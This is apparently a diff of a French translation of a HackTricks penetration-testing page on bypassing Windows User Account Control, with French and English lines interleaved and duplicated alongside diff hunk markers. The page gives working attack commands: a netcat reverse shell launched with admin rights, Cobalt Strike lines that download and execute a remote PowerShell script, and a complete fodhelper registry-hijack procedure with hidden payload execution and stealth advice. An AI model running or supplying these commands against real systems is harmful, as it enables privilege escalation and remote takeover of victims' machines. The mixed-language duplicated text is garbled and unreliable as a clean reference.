| [User Account Control: Allow UIAccess applications to prompt for elevation without using the secure desktop](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Disabled |
| [User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Prompt for consent for non-Windows binaries |
| [User Account Control: Behavior of the elevation prompt for standard users](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Prompt for credentials on the secure desktop |
| [User Account Control: Detect application installations and prompt for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Enabled (default for home) Disabled (default for enterprise) |
| [User Account Control: Only elevate executables that are signed and validated](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Disabled |
| [User Account Control: Only elevate UIAccess applications that are installed in secure locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Enabled |
| [User Account Control: Run all administrators in Admin Approval Mode](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Enabled |
| [User Account Control: Switch to the secure desktop when prompting for elevation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Enabled |
| [User Account Control: Virtualize file and registry write failures to per-user locations](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Enabled |
### Théorie de Contournement de l'UAC
### UAC Bypass Theory
Certains programmes sont **auto-élévés automatiquement** si l'**utilisateur appartient** au **groupe administrateur**. Ces binaires ont à l'intérieur de leurs _**Manifests**_ l'option _**autoElevate**_ avec la valeur _**True**_. Le binaire doit également être **signé par Microsoft**.
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
De nombreux processus auto-élévés exposent **des fonctionnalités via des objets COM ou des serveurs RPC**, qui peuvent être invoqués à partir de processus s'exécutant avec une intégrité moyenne (privilèges de niveau utilisateur régulier). Notez que COM (Component Object Model) et RPC (Remote Procedure Call) sont des méthodes utilisées par les programmes Windows pour communiquer et exécuter des fonctions à travers différents processus. Par exemple, **`IFileOperation COM object`** est conçu pour gérer les opérations de fichiers (copie, suppression, déplacement) et peut automatiquement élever les privilèges sans demande.
Many auto-elevate processes expose **functionality via COM objects or RPC servers**, which can be invoked from processes running with medium integrity (privilèges d'utilisateur standard). Note that COM (Component Object Model) and RPC (Remote Procedure Call) are methods Windows programs use to communicate and execute functions across different processes. For example, **`IFileOperation COM object`** is designed to handle file operations (copying, deleting, moving) and can automatically elevate privileges without a prompt.
Notez que certaines vérifications peuvent être effectuées, comme vérifier si le processus a été exécuté à partir du **répertoire System32**, ce qui peut être contourné par exemple **en injectant dans explorer.exe** ou un autre exécutable situé dans System32.
Note that some checks might be performed, like checking if the process was run from the **System32 directory**, which can be bypassed for example **injecting into explorer.exe** or another System32-located executable.
Une autre façon de contourner ces vérifications est de **modifier le PEB**. Chaque processus dans Windows a un Bloc d'Environnement de Processus (PEB), qui inclut des données importantes sur le processus, telles que son chemin exécutable. En modifiant le PEB, les attaquants peuvent falsifier (spoof) l'emplacement de leur propre processus malveillant, le faisant apparaître comme s'il s'exécutait à partir d'un répertoire de confiance (comme system32). Ces informations falsifiées trompent l'objet COM en élevant automatiquement les privilèges sans demander à l'utilisateur.
Another way to bypass these checks is to **modify the PEB**. Every process in Windows has a Process Environment Block (PEB), which includes important data about the process, such as its executable path. By modifying the PEB, attackers can fake (spoof) the location of their own malicious process, making it appear to run from a trusted directory (like system32). This spoofed information tricks the COM object into auto-elevating privileges without prompting the user.
Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyenne** **à élevée**), certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus à niveau d'intégrité élevé**.
Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to high**) some attackers use this kind of binaries to **execute arbitrary code** because it will be executed from a **High level integrity process**.
Vous pouvez **vérifier** le _**Manifest**_ d'un binaire en utilisant l'outil _**sigcheck.exe**_ de Sysinternals. (`sigcheck.exe -m <file>`) Et vous pouvez **voir** le **niveau d'intégrité** des processus en utilisant _Process Explorer_ ou _Process Monitor_ (de Sysinternals).
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. (`sigcheck.exe -m <file>`) And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
### Vérifier l'UAC
### Check UAC
Pour confirmer si l'UAC est activé, faites :
To confirm if UAC is enabled do:
```
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
```
Si c'est **`1`**, alors UAC est **activé**, si c'est **`0`** ou qu'il **n'existe pas**, alors UAC est **inactif**.
Si c'est **`1`** alors UAC est **activé**, si c'est **`0`** ou s'il **n'existe pas**, alors UAC est **inactif**.
Ensuite, vérifiez **quel niveau** est configuré :
```
@ -61,61 +62,61 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Si **`0`**, alors, UAC ne demandera pas (comme **désactivé**)
- Si **`1`**, l'admin est **demandé pour le nom d'utilisateur et le mot de passe** pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé)
- Si **`2`** (**Toujours me notifier**) UAC demandera toujours une confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé)
- Si **`3`**, comme `1` mais pas nécessaire sur le Bureau Sécurisé
- Si **`4`**, comme `2` mais pas nécessaire sur le Bureau Sécurisé
- si **`5`**(**par défaut**), il demandera à l'administrateur de confirmer pour exécuter des binaires non Windows avec des privilèges élevés
- If **`0`** then, UAC won't prompt (like **disabled**)
- If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
- If **`2`** (**Always notify me**) UAC will always ask for confirmation to the administrator when he tries to execute something with high privileges (on Secure Desktop)
- If **`3`** like `1` but not necessary on Secure Desktop
- If **`4`** like `2` but not necessary on Secure Desktop
- if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
Ensuite, vous devez examiner la valeur de **`LocalAccountTokenFilterPolicy`**\
Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire.
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
Et, enfin, examinez la valeur de la clé **`FilterAdministratorToken`**\
Si **`0`**(par défaut), le **compte Administrateur intégré peut** effectuer des tâches d'administration à distance et si **`1`**, le compte Administrateur intégré **ne peut pas** effectuer des tâches d'administration à distance, à moins que `LocalAccountTokenFilterPolicy` soit défini sur `1`.
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
#### Résumé
#### Summary
- Si `EnableLUA=0` ou **n'existe pas**, **pas de UAC pour personne**
- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=1`, pas de UAC pour personne**
- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=0` et `FilterAdministratorToken=0`, pas de UAC pour RID 500 (Administrateur intégré)**
- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=0` et `FilterAdministratorToken=1`, UAC pour tout le monde**
- If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
- If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
Toutes ces informations peuvent être recueillies à l'aide du module **metasploit** : `post/windows/gather/win_privs`
All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs`
Vous pouvez également vérifier les groupes de votre utilisateur et obtenir le niveau d'intégrité :
You can also check the groups of your user and get the integrity level:
```
net user %username%
whoami /groups | findstr Level
```
## Contournement de l'UAC
## UAC bypass
> [!TIP]
> Notez que si vous avez un accès graphique à la victime, le contournement de l'UAC est simple car vous pouvez simplement cliquer sur "Oui" lorsque l'invite UAC apparaît.
> Notez que si vous avez un accès graphique à la victime, le UAC bypass est simple : il suffit de cliquer sur "Yes" lorsque l'invite UAC apparaît
Le contournement de l'UAC est nécessaire dans la situation suivante : **l'UAC est activé, votre processus s'exécute dans un contexte d'intégrité moyen, et votre utilisateur appartient au groupe des administrateurs**.
Le UAC bypass est nécessaire dans la situation suivante : **le UAC est activé, votre processus s'exécute dans un contexte d'intégrité moyen, et votre utilisateur appartient au groupe Administrators**.
Il est important de mentionner qu'il est **beaucoup plus difficile de contourner l'UAC s'il est au niveau de sécurité le plus élevé (Toujours) que s'il est à l'un des autres niveaux (Par défaut).**
Il est important de préciser qu'il est **beaucoup plus difficile de contourner le UAC s'il est réglé au niveau de sécurité le plus élevé (Always) que s'il est dans l'un des autres niveaux (Default).**
### UAC désactivé
Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges administratifs** (niveau d'intégrité élevé) en utilisant quelque chose comme :
Si UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**) vous pouvez **exécuter un reverse shell avec des privilèges admin** (niveau d'intégrité élevé) en utilisant quelque chose comme :
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### Contournement UAC avec duplication de jeton
#### UAC bypass with token duplication
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
### **Très** Basique "contournement" UAC (accès complet au système de fichiers)
### **Très** basique UAC "bypass" (accès complet au système de fichiers)
Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrateurs, vous pouvez **monter le C$** partagé via SMB (système de fichiers) local dans un nouveau disque et vous aurez **accès à tout dans le système de fichiers** (même le dossier personnel de l'Administrateur).
Si vous avez un shell avec un utilisateur qui appartient au groupe Administrators, vous pouvez **mount the C$** partagé via SMB sur un nouveau disque local et vous aurez **accès à tout le système de fichiers** (même le dossier personnel de Administrator).
> [!WARNING]
> **On dirait que ce truc ne fonctionne plus**
> **Il semble que cette astuce ne fonctionne plus**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -123,9 +124,9 @@ cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### Contournement de l'UAC avec Cobalt Strike
### Contournement UAC avec cobalt strike
Les techniques de Cobalt Strike ne fonctionneront que si l'UAC n'est pas réglé au niveau de sécurité maximal.
Les techniques de Cobalt Strike ne fonctionneront que si UAC n'est pas réglé à son niveau de sécurité maximal.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -137,18 +138,18 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** et **Metasploit** ont également plusieurs modules pour **contourner** le **UAC**.
**Empire** et **Metasploit** ont également plusieurs modules pour **bypass** le **UAC**.
### KRBUACBypass
Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
### Exploits de contournement UAC
### UAC bypass exploits
[**UACME** ](https://github.com/hfiref0x/UACME)qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\
Vous devez **être prudent** car certains contournements **demanderont à d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe.
[**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs UAC bypass exploits. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous faut.**\
Vous devriez **faire attention** car certains bypasses vont **provoquer des invites dans d'autres programmes** qui vont **alerter** l'**utilisateur** que quelque chose se produit.
UACME a la **version de construction à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions :
UACME indique la **build version à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions:
```
PS C:\> [environment]::OSVersion.Version
@ -156,41 +157,79 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
Aussi, en utilisant [cette](https://en.wikipedia.org/wiki/Windows_10_version_history) page, vous obtenez la version de Windows `1607` à partir des versions de build.
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
#### Plus de contournement UAC
### UAC Bypass – fodhelper.exe (Registry hijack)
**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe commun n'est pas suffisant).
Le binaire de confiance `fodhelper.exe` est automatiquement élevé sur les versions récentes de Windows. Lorsqu'il est lancé, il interroge le chemin de registre utilisateur ci‑dessous sans valider le verbe `DelegateExecute`. Placer une commande à cet endroit permet à un processus Medium Integrity (l'utilisateur appartient au groupe Administrators) de lancer un processus High Integrity sans UAC prompt.
Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers un **processus** qui a la valeur **Session** égale à **1** :
Chemin de registre interrogé par fodhelper:
```
HKCU\Software\Classes\ms-settings\Shell\Open\command
```
Étapes PowerShell (définissez votre payload, puis trigger):
```powershell
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
# 1) Create the vulnerable key and values
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | Out-Null
# 2) Set default command to your payload (example: reverse shell or cmd)
# Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>" -Force
# 3) Trigger auto-elevation
Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
# 4) (Recommended) Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
```
Remarques :
- Fonctionne lorsque l'utilisateur courant est membre du groupe Administrators et que le niveau UAC est par défaut/peu strict (pas Always Notify avec des restrictions supplémentaires).
- Utilisez le chemin `sysnative` pour lancer un PowerShell 64-bit depuis un processus 32-bit sur Windows 64-bit.
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
#### More UAC bypass
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
![](<../../images/image (863).png>)
(_explorer.exe_ devrait fonctionner)
### Contournement UAC avec GUI
### UAC Bypass with GUI
Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez pas vraiment besoin de le contourner. Donc, obtenir accès à une GUI vous permettra de contourner l'UAC.
If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a **certains outils qui s'exécuteront en tant qu'administrateur** à partir desquels vous pourriez **exécuter** un **cmd** par exemple **en tant qu'admin** directement sans être à nouveau invité par l'UAC comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela pourrait être un peu plus **discret**.
Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
### Contournement UAC bruyant par force brute
### Noisy brute-force UAC bypass
Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours **exécuter quelque chose comme** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) qui **demande d'élever les permissions jusqu'à ce que l'utilisateur l'accepte**.
If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
### Votre propre contournement - Méthodologie de contournement UAC de base
### Your own bypass - Basic UAC bypass methodology
Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la dll malveillante sur _C:\Windows\System32_). [Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking/index.html).
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Trouvez un binaire qui **s'auto-élève** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé).
2. Avec procmon, trouvez des événements "**NOM NON TROUVÉ**" qui peuvent être vulnérables au **détournement de DLL**.
3. Vous aurez probablement besoin de **écrire** la DLL à l'intérieur de certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant :
1. **wusa.exe** : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé).
2. **IFileOperation** : Windows 10.
4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et auto-élévé.
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
2. **IFileOperation**: Windows 10.
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
### Une autre technique de contournement UAC
### Another UAC bypass technique
Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à **exécuter** (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**).
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
## References
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
- [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
- [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)
- [UACME – UAC bypass techniques collection](https://github.com/hfiref0x/UACME)
{{#include ../../banners/hacktricks-training.md}}